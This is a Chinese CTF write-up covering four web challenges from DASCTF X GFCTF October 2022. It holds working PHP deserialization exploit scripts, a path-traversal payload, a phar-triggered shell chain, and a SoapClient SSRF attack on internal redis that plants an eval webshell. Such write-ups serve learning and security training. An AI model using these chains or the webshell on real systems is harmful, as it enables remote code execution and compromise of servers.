DASCTF X GFCTF 2022十月挑战赛web

news2024/11/25 0:37:37

前言

晚来的比赛web题解，这次buu的十月赛web部分的题目对于我来说质量还是蛮高的，因为这几天比较忙，一直没有去复现总结，不过该复现的还得复现，复现了这次比赛又能学到不少知识，嘿嘿嘿。

EasyPOP

考察php的pop链，这题相比之下算是web中的签到题了。看题目源码：

<?php
highlight_file(__FILE__);
error_reporting(0);
class fine

    private $cmd;
    private $content;
    public function __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }
    public function __invoke()
    {
        call_user_func($this->cmd, $this->content);
    }
    public function __wakeup()
    {
        $this->cmd = "";
        die("Go listen to Jay Chou's secret-code! Really nice");
    }
}
class show
{
    public $ctf;
    public $time = "Two and a half years";
    public function __construct($ctf)
    {
        $this->ctf = $ctf;
    }
    public function __toString()
    {
        return $this->ctf->show();
    }
    public function show(): string
    {
        return $this->ctf . ": Duration of practice: " . $this->time;
    }
}
class sorry
{
    private $name;
    private $password;
    public $hint = "hint is depend on you";
    public $key;
    public function __construct($name, $password)
    {
        $this->name = $name;
        $this->password = $password;
    }
    public function __sleep()
    {
        $this->hint = new secret_code();
    }
    public function __get($name)
    {
        $name = $this->key;
        $name();
    }
    public function __destruct()
    {
        if ($this->password == $this->name) {

            echo $this->hint;
        } else if ($this->name = "jay") {
            secret_code::secret();
        } else {
            echo "This is our code";
        }
    }
    public function getPassword()
    {
        return $this->password;
    }
    public function setPassword($password): void
    {
        $this->password = $password;
    }
}
class secret_code
{
    protected $code;
    public static function secret()
    {
        include_once "hint.php";
        hint();
    }
    public function __call($name, $arguments)
    {
        $num = $name;
        $this->$num();
    }
    private function show()
    {
        return $this->code->secret;
    }
}
if (isset($_GET['pop'])) {
    $a = unserialize($_GET['pop']);
    $a->setPassword(md5(mt_rand()));
} else {
    $a = new show("Ctfer");
    echo $a->show();
} ?>

代码比较长，但是好懂，最终漏洞触发点是为fine类中的call_user_func函数，达到任意函数调用，链子也比较简单：

sorry:__destruct() -> show:__toString() -> secret_code:call() -> secret_code:show() ->
sorry:__get -> fine : __invoke

这里防止我们调用的函数为空，需要绕过wakeup，常规绕过就是属性值大于原有值，这里看wp学习另一种绕过方式，fast_destruct，常规的执行顺序：（wake_up -> __desturct）

我们去掉一个大括号，让它强制先执行__destruct方法，但是这个方法在只有一个类是不适用的。

这一题还是比较简单的，直接上exp。

<?php
class fine{
    private $cmd='passthru';
    private $content='ls';
    function __construct(){
    }
}
class show{
    public $ctf;
    public function __construct(){
        //$this->ctf=new secret_code();
    }
}
class sorry{
    private $name=1;
    private $password=1;
    public $hint;
    public $key; 
    public function __construct(){
        $this->hint = new show();
        $this->key= new fine();
    }
}
class secret_code{
    protected $code;
    public function __construct(){
        $this->code=new sorry();
    }
}
$a = new sorry();
$a->hint->ctf=new secret_code();
$str =  serialize($a);
$str1 = str_replace('fine":2','fine":5',$str);
echo urlencode(($str1));
?>

因为这一题的php版本为php7，对类属性不敏感，所以把私有属性全都改为public编写exp会更简单。

hade_waibo

这道题网上查到最多的就是非预期解法。

随便注册一个用户名进去后有三个功能，上传，删除和搜索。我们在搜索功能上发现可以任意读文件，也就是这里存在非预期，直接目录穿越读取start.sh，payload为：

file.php?m=show&filename=…/…/…/…/start.sh

这个文件有flag的文件名，再利用任意文件读取漏洞读出flag就行了。这个方法很巧妙，但是学不到什么东西，看官方wp放的预期解：

把网站源码读出来，一共有三个php文件，代码一共太多了，这里只放关键代码，这里我们利用class.php的User类和Test类，

<?php
class User
{
    public $username;
    public function __construct($username){
        $this->username = $username;
        $_SESSION['isLogin'] = True;
        $_SESSION['username'] = $username;
    }
    public function __wakeup(){
        $cklen = strlen($_SESSION["username"]);
        if ($cklen != 0 and $cklen <= 6) {
            $this->username = $_SESSION["username"];
        }
    }
    public function __destruct(){
        if ($this->username == '') {
            session_destroy();
        }
    }
}

Test类：

class Test
{
    public $value;

    public function __destruct(){
        chdir('./upload');
        $this->backdoor();
    }
    public function __wakeup(){
        $this->value = "Don't make dream.Wake up plz!";
    }
    public function __toString(){
        $file = substr($_GET['file'],0,3);
        file_put_contents($file, "Hack by $file !");
        return 'Unreachable! :)';
    }
    public function backdoor(){
        if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){
            $this->value = 'nono~';
        }
        system($this->value);
    }
}

Test类有我们的system敏感函数，但是过滤了字母数字，这两个类可以反序列化，另外也有文件包含，所以我们可以通过上传phar文件来执行这个system函数，另外参数value在__wakeup函数会被赋值，这里我们要用的User类了，我们可以让Test类中的value属性去引用User类中的地址，那么就可以通过修改username的值来间接控制value的内容，在User类的__wakeup函数有个赋值操作

$_SESSION["username"]就是我们注册的用户名，所以赋值操作我们可控，那么剩下一个问题，我们怎么在过滤字母数字的情况下执行linux命令，可以用. ./*来执行当前目录下的文件。linux中可以用点来执行任意shell文件，那么通过网站的上传功能上传一个shell文件，然后再注册一个用户名为. ./*的用户，上传一个phar文件来触发反序列化，话不多说，开始实操，嘿嘿

通过上传界面上传写入ls /命令的shell文件。

接下来就是注册一个. ./*的用户名，编写exp

<?php
class User{
    public $username;
}
class Test
{
    public $value;

}
$b=new User();
$a=new Test();
$b->username=new Test();
$b->aaa=$a;
$a->value=&$b->username;
$phar = new Phar("abcd.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($b);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

这里看exp有个问题，为什么User类要新增一个属性去实例化Test类，这里看到一位师傅的博客（DASCTF X GFCTF 2022十月挑战赛！_递归 trash can的博客-CSDN博客）解释的比较详细，我自己也在本地测试看看生成的序列化串，

这是正常的，

这里的value属性就没有引用了，所以新加的属性是为了让value能够引用的，直接上传phar文件，

最后利用网站的搜索功能，用phar伪协议读取，

这里是成功执行命令了。同时出现了flag文件，通过任意文件读取获得flag。

EasyLove

题目描述就给了hint，让我们打redis数据库，好家伙，看题目源码：

<?php
highlight_file(__FILE__);
error_reporting(0);
class swpu{
    public $wllm;
    public $arsenetang;
    public $l61q4cheng;
    public $love;
    public function __construct($wllm,$arsenetang,$l61q4cheng,$love){
        $this->wllm = $wllm;
        $this->arsenetang = $arsenetang;
        $this->l61q4cheng = $l61q4cheng;
        $this->love = $love;
    }
    public function newnewnew(){
        $this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);
    }
    public function flag(){
        $this->love->getflag();
    }
    public function __destruct(){
        $this->newnewnew();
        $this->flag();
    }
}
class hint{
    public $hint;
    public function __destruct(){
        echo file_get_contents($this-> hint.'hint.php');
    }
}
$hello = $_GET['hello'];
$world = unserialize($hello);

有个hint类可以读取hint.php，先写个序列化串看一下提示吧，

<?php
class hint{
public $hint="php://filter/read=convert.base64-encode/resource=/var/www/html/";
}
$a = new hint();
echo serialize($a);
?>

这里要用绝对路径，不然读取不出来。

这里写的20220311就是redis数据库的密码了。我们怎么去访问redis数据库，别急，这里还有个swpu类，

实例化任意类，那么我们可以利用某些原生类，结合题目描述打内网redis数据库，我们能用的原生类就只有SoapClient，

这里会调用一个不存在的方法，正好可以触发SoapClient原生类的call方法，那么利用条件满足。

我们知道SoapClient类需要两个参数，第一个参数通常指明是否是wsdl模式，我们构造的时候通常为Null，第二个参数是个数组，在非wsdl模式下，必须设置location和uri选项，其他可选。我们可以通过uri选项向内网redis发指令写木马。

AUTH 20220311 //验证客户端链接
CONFIG SET dir /var/www/html  //设置写入的目录
SET x '<?@eval(\$_POST[1]);?>'  //设置写入的内容
CONFIG SET dbfilename cmd.php  //设置写入的文件名
SAVE  //保存结束

redis一般在主机的6379开启服务，编写exp：

<?php
$target = "http://127.0.0.1:6379";
$option = array("location"=>$target,"uri"=>"hello\r\nAUTH 20220311\r\nCONFIG SET dir /var/www/html\r\nSET x '<?@eval(\$_POST[1]);?>'\r\nCONFIG SET dbfilename cmd.php\r\nSAVE\r\nhello");
class swpu{
	public $wllm;
    public $arsenetang;
    public $l61q4cheng;
    public $love;
	public function __construct()
	{
		$this->wllm = "SoapClient";
		$this->arsenetang = Null;
	}
}
$aa = new swpu();
$aa->l61q4cheng = $option;
echo urlencode(serialize($aa));
?>

打入payload后在web目录下访问cmd.php，

用蚁剑连接。 查看flag文件，有大小打开却没有东西，那肯定就是无权限了，使用date命令将flag给带出来。

最终得到flag。

BlogSystem

最后一个题目，感觉考的知识点好多啊，复现起来也比较困难，在此就不写上自己的题解了，贴上出题人pysnow师傅的文章DASCTF10月赛出题笔记 BlogSystem - Pysnow's Blog写的真的非常详细。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1997.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

Mega-Nerf学习笔记

Mega-Nerf学习笔记

Mega-NeRF:Scalable Construction of Large-Scale NeRFs for Virtual Fly-Throughs 主页&#xff1a;https://meganerf.cmusatyalab.org/ 论文&#xff1a;https://meganerf.cmusatyalab.org/resources/paper.pdf 代码&#xff1a;https://github.com/cmusatyalab/mega-nerf …
阅读更多...
【设计模式】简单工厂模式

【设计模式】简单工厂模式

简单工厂模式–》工厂模式—》抽象工厂模式 文章目录简单工厂模式定义&#xff1a;各个角色1. 抽象产品类2. 具体产品类&#xff1a;3. 工厂类&#xff1a;简单工厂模式的核心。客户端设计图表未使用简单工厂模式&#xff1a;出现的问题&#xff1a;使用简单工厂模式&#xff1…
阅读更多...
小熊派-FreeRTOS-点灯学习过程-20221029

小熊派-FreeRTOS-点灯学习过程-20221029

一、前言准备 1、小熊派一个&#xff08;STM32L431RCT6&#xff09; 2、STM32CubeMX 3、keil5 4、小熊派的配套开发资料&#xff08;用于出问题的时候替换&#xff09; 二、实现过程 代码主要由STM32CubeMX生成&#xff0c;所以过程主要是配置CubeMX. 1、芯片选型 STM3…
阅读更多...
用 Pyinstaller 模块将 Python 程序打包成 exe 文件（全网最全面最详细）

用 Pyinstaller 模块将 Python 程序打包成 exe 文件（全网最全面最详细）

目录 打包前置知识 一、什么是exe可执行文件&#xff1f; 二、为什么要将 Python 程序打包为 exe 可执行文件&#xff1f; 三、为什么 Python 程序不能直接运行呢&#xff1f; 四、我们用什么来打包 Python 文件呢&#xff1f; 五、打包有哪几种分类呢&#xff1f; 打包…
阅读更多...
【ArcGIS微课1000例】0041：ArcGIS利用坐标生成点的方法总结

【ArcGIS微课1000例】0041：ArcGIS利用坐标生成点的方法总结

本文讲解ArcGIS利用坐标生成点的3种方法。 文章目录 一、转到XY工具定位二、输入绝对XY生成点三、添加XY数据一、转到XY工具定位 这样确实可以在图上快速定位某个经纬度的点，但是生成的对象是“注记类”要素，即不是地理实体，而仅仅是为了绘图表现的东西。可以用如下工具来控…
阅读更多...
Kotlin协程-并发处理-基础

Kotlin协程-并发处理-基础

一、协程与并发 Kotlin协程是基于线程执行的。经过一层封装以后&#xff0c;Kotlin协程面对并发&#xff0c;处理方式与Java不同。 在java的世界里&#xff0c;并发往往是多个线程一起工作&#xff0c;存在共享的变量。需要处理好同步问题。要避免把协程与线程的概念混淆。 …
阅读更多...
验证码的编写

验证码的编写

编写一个验证码(可以通过键盘输入需要获取验证码的位数)&#xff1a; public class IdentifyingCode {public static void main(String[] args) {//验证码的编写IdentifyingCode identifyingCode new IdentifyingCode();//扫描键盘输入Scanner scanner new Scanner(System.i…
阅读更多...
【数据结构基础】之数组介绍，生动形象，通俗易懂，算法入门必看

【数据结构基础】之数组介绍，生动形象，通俗易懂，算法入门必看

【数据结构基础】数组前言一、数组的定义1.基本概念和内存图2.数组的性质3.数据结构二、玩转数组1.循环遍历打印数组的每一个值2.查找一个数组里存在的值3.打擂台的形式找最大值4.元素的位移5.数组的扩容6.数组的反转三、二维数组四、初识算法1.排序算法2.查找算法3.算法性能4.…
阅读更多...
电力电子的一些知识

电力电子的一些知识

文章目录数电模电逻辑电路与或非异或 门电路与的物理电路边沿触发器功率交流容量直流容量桥电路CHBDABTHD电路器件LM7815与LM7915数电模电 逻辑电路 与或非异或 门电路 与乘大于1或加大于1异或异性为1&#xff0c;异吗&#xff1f; 与的物理电路 当二极管是高电平&#xf…
阅读更多...
stm32f407探索者开发板（一）——资源介绍（顺便说下无人机的进度状况）

stm32f407探索者开发板（一）——资源介绍（顺便说下无人机的进度状况）

文章目录零、前言一、前置问题二、注意事项三、学习方法四、外观五、关于sw仿真零、前言 最近虽然在做无人机小项目啦&#xff0c;但是呢由于疫情&#xff0c;各种零件一直没发&#xff0c;很头疼&#xff0c;现在关于遥控器和接收机的选型也没定下来&#xff0c;嗯&#xff0…
阅读更多...
【Java】Spring boot快速上手（一）：葵花宝典

【Java】Spring boot快速上手（一）：葵花宝典

目录前言学习目标学习内容工具及其环境配置说明新建spring web项目打开idea 新建项目创建项目配置设置静态资源映射编写html访问前端最后前言 该系列文章仅用于个人学习记录&#xff0c;适合入门级&#xff0c;对于文中有错误的地方还望海涵&#xff0c;之前打算结合《瑞吉外卖…
阅读更多...
【JavaSE】初识Java

【JavaSE】初识Java

文章目录一. Java语言概述1. Java语言的组成1.1 什么是JavaSE1.2 什么是JavaEE1.3 什么是JavaME2. Java语言的产生3. Java语言的优势二. 初识Java的main方法1. main方法示例2. 运行Java程序一. Java语言概述 Java是一门面向对象编程语言&#xff0c;不仅吸收了C语言的各种优点…
阅读更多...
学习python第一天，请教一下怎么学？

学习python第一天，请教一下怎么学？

前言 小白建议以视频入门&#xff0c;或者是看一些适合入门的书比如《笨办法学Python》&#xff1b; 在这个资源泛滥的时代&#xff0c;更需要有自己的一套学习方法。尤其是针对自学来说&#xff0c;遇到问题不知道如何解决&#xff0c;那么就要做好前置的学习计划&#xff1…
阅读更多...
我越努力生活，生活就越努力的干我

我越努力生活，生活就越努力的干我

92年出生&#xff0c;工作9年。我也不知道今年多少岁了&#xff0c;结婚6年&#xff0c;两个小孩&#xff0c;一个是男孩&#xff0c;「该死的」另一个也是男孩&#xff0c;周五晚上&#xff0c;手机屏幕的时间刚过9点50&#xff0c;我小心拉开门缝往里面瞧了一眼后推开房门&am…
阅读更多...
C++ Reference: Standard C++ Library reference: C Library: cstring: strchr

C++ Reference: Standard C++ Library reference: C Library: cstring: strchr

C官网参考链接&#xff1a;https://cplusplus.com/reference/cstring/strchr/ 函数 <cstring> strchr const char * strchr ( const char * str, int character ); char * strchr ( char * str, int character ); 定位字符串中第一个出现的字符 返回指向C字符串s…
阅读更多...
[前端基础] 浏览器篇

[前端基础] 浏览器篇

提供基础用法&#xff0c;基础概念引用 MDN、W3C&#xff0c;基础内容做扩展知识&#xff0c;可应对面试&#xff0c;详细原理及应用需要去官网、GitHub 深入学习。 1、常用 BOM 方法 BOM&#xff08;browser object model&#xff09;简称浏览器对象模型&#xff0c;BOM 提供…
阅读更多...
【SpringBoot笔记18】SpringBoot实现统一异常处理、统一结果响应、统一参数校验

【SpringBoot笔记18】SpringBoot实现统一异常处理、统一结果响应、统一参数校验

这篇文章&#xff0c;主要介绍如何利用SpringBoot框架实现统一异常处理、统一结果响应、统一参数校验。 目录 一、SpringBoot统一结果响应 1.1、创建工程 1.2、配置FastJson 1.3、创建ResultEnum枚举 1.4、创建Result实体类 二、SpringBoot统一异常处理 2.1、创建自定义…
阅读更多...
【LeetCode 784. 字母大小写全排列】异或进行字母大小写变换

【LeetCode 784. 字母大小写全排列】异或进行字母大小写变换

LeetCode784.字母大小写全排列解题方法&#xff1a;回溯用异或进行大小写变换正式解题总代码784.字母大小写全排列 给定一个字符串 s &#xff0c;通过将字符串 s 中的每个字母转变大小写&#xff0c;我们可以获得一个新的字符串。 返回 所有可能得到的字符串集合 。以 任意顺…
阅读更多...
htm+JS实现绘制数学函数绘图

htm+JS实现绘制数学函数绘图

htmJS实现绘制数学函数绘图 其中常用的函数可参见&#xff0c;JS中常用的Math方法 https://blog.51cto.com/u_10725738/5253407 https://www.jb51.net/article/9151.htm JS(JavaScript)常用Math函数与用法说明 方法描述示例abs(x)返回数的绝对值。Math.abs(-10)//返回10aco…
阅读更多...
【Linux】--谈谈冯诺依曼体系结构和操作系统

【Linux】--谈谈冯诺依曼体系结构和操作系统

文章目录冯诺依曼体系组成部分数据层面CPU存储器外设结论操作系统什么是操作系统为什么要有操作系统怎么去管理总结冯诺依曼体系 冯诺依曼结构是一种将程序指令存储器和数据存储器合并在一起的存储器结构&#xff0c;数学家冯诺依曼提出了计算机制造的三个基本原则&#xff0c…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023